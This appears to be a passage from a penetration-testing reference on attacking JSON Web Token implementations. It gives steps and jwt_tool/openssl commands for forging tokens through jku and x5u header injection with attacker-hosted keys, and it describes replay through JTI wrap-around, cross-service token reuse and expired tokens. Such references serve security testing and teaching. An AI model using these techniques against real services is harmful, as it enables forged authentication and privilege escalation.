Use this file to discover all available pages before exploring further.
JSON Web Tokens (JWTs) are commonly used for authentication and authorization. Numerous implementation flaws can allow attackers to forge tokens and escalate privileges.
# 1. Verify jku URL points to legitimate JWKS file# 2. Modify token's jku to point to attacker-controlled URL# 3. Host malicious JWKS at that URL with your own public key# 4. Sign modified claims with your private keypython3 jwt_tool.py JWT_HERE -X s# Generates a JWKS server you control
# Generate self-signed certopenssl req -x509 -nodes -days 365 -newkey rsa:2048 \ -keyout attacker.key -out attacker.crt# Host attacker.crt at a URL# Change x5u in token header to point to your cert# Sign with attacker.key
If the max JTI length is small (e.g., 4 digits: 0001–9999), IDs will wrap around. Send 10000 requests between successful uses to replay an expired JTI.
If a shared JWT service issues tokens for multiple clients, a token issued for Client A might be accepted by Client B. Try signing up on another service using the same JWT service and replay the token.
# Read JWT with expiry check (timestamp in UTC)python3 jwt_tool.py <JWT> -R# If token has "exp" claim, test replaying after expiry# Store the token and send it after the indicated expiry time